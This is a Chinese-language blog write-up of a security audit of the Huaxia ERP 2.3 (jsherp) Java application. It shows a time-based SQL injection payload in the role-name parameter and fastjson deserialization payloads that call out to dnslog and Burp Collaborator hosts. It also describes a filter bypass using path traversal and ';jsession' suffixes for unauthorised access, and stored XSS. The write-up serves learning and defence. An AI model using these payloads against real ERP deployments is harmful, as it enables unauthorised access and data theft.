JAVA代码审计 华夏ERP
前言
早就写的一篇文章,只是因为处于迷茫期很多积攒的没有发。而且感觉搭在服务器上不如搭在github上,等这回服务器到期了就换个地方。
环境搭建
审的是这个版本的华夏ERP2.3 现在改名叫jsherp了,虽然版本老但是不妨碍成为学习审计代码的一个好例子

将sql导入后,配置一下相关文件就可以了

代码审计
审计准备
看readme
能让自己对这个项目有个大概的了解,构造出一个前期审计代码的大致侧重点。

侧重点:审sql注入时就要注意$符号了,并且可能存在log4j漏洞
看pom


有可能存在fastjson的漏洞但是并没有引入log4j-core所以不存在log4j的漏洞
看filter
学习filter内存马的时候就了解过filter了
直接到doFilter那里

主要对四个内容处理
是否登录
放行register.html,login.html,doc.html这些的业务
放行自己允许的一些页面,这个在初始化时候有定义通过#分割

但是我们发现

他对这个放行的页面处理似乎有些问题,用的是startsWith()对URL进行判断是否是白名单的那些,那么就可以通过目录穿越来未授权访问其他页面了,等会在测试的时候留意一下这里。
审计
先去找我们刚才留下的疑惑点入手。
sql注入
因为用的是mybatis,所以直接在mapper里搜索$

发现很多都是用的$来编写的sql语句,所以我们可以换种思路,搜索容易出现sql注入的关键字比如’like’。

找到对应的MapperEx文件(MapperEx文件一般用来封装复杂sql语句与主 Mapper 分离,避免 Mapper 变得臃肿)

再找到对应的Service

一直可以往上找一般我的思路就是mapper->service->controll
发现最后到了ResourceController不应该是RoleController么,接下来就是黑白盒结合去探究了(其实这里如果是开发经验够足的化肯定就懂了,后面查阅一下ResourceController的作用)

在RoleService这里打断点调试

很明显后台有个角色管理这会走到这里

隐约就可以才到那个角色名称应该就是name参数了,抓个包看看

看后台断点

可以看到确实如我们推断
尝试进行语句拼接
1 | {"name":"aaa' or sleep(3)-- ="} |
url编码一下


发现执行成功
后台也能看到记录

查倒是不好查,直接by GPT了
ResourceController的主要作用包括:
- 管理和分发静态资源。
- 处理与资源相关的 RESTful API 操作。
- 作为资源代理,为客户端提供统一的资源访问接口。
- 实现资源访问的权限控制和安全性。
简显易懂,那其实很多语句只要参数可控都可以类似这个流程sql注入了,像like基本就是搜索功能了,其他的内容有兴趣可以自行探索。
fastjson
刚才我们在看pom的时候发现用的fastjson版本是存在漏洞的,现在全局搜索以parseObject

先找这种没有限定类的,然后去测试参数是否可控
有兴趣的师傅可以多去尝试几个,有练习意义
半场开香槟版
这里就写一下其中一个测试的

跟踪一下这个

推测应该是商品的添加功能,也可以去数据库看看数据,我的方法是这样定位的
这里

添加到forward到这个包

看到了javabean的数据

看到这里的时候都要半场开香槟了

构成payload看看检测一下先,放一下很多Nbccccc/Fastjson-Payload: Fastjson姿势技巧集合fork这位师傅的safe6Sec/Fastjson: Fastjson姿势技巧集合
1 | {"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://n9z7x6.dnslog.cn"}}""}} |
但是并没有发生期待的结果,显示很骨感

发现上面还有个JSONObject.parseObject(beanJson, Material.class)

当然是加载不了的腻,看了眼Material也没有什么能用的getter、setter方法所以就寄掉了,最开始没注意上面,被上面截胡了。删到那一行就可以了,当然不可能开发出来让你打的oopz。
但是有一说一试了一下这里fastjson版本要是低一点就可以打了,有兴趣的师傅可以试一下

言知之易,行之难 多找找没准就又发现什么了呢xixi
成功版
找到JSONObject.parseObject(search)

看到就直接恍然大悟,这个erp也调试到这里了,search这个参数经常在包里见到,直接白盒结合黑盒,去前面随便搜索一下到这个search参数。


直接上payload
1 | {"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://h1jqa9iuj1mc266l0hei9kfnye45su.burpcollaborator.net"}}""}} |

成功
想要rce需要开启一下autoTypeSupport(ParserConfig.getGlobalInstance().setAutoTypeSupport(true);),或者Feature.SupportNonPublicField参数等
未授权访问
这里就算filter里对访问目录控制的部分了,分为ignoredUrls,allowUrls
ignoredUrls
首先经过的ignoredUrls的处理,这里自定义一个verify函数来处理

会将读取的url拼接匹配符例如^.*regex.*$只要存在regex就返回true
那很明显我们只要让读取的url里存在ignoredLists里的内容,并且访问的是我们指定的url就行了
那如何构造呢,这里我想到了有时候可以看到访问的url为xxx.com/xxx;jsession=xxx
;后面会被容器处理掉的

allowUrls

这里则是以allowUrls开头就允许访问
把获取的url打印出来是这样的

那我们就可以这样了


XSS
因为filter里并没有对XSS做什么特殊处理,所以有很多页面存下来的内容都成了存储型XSS



log4j2

没找到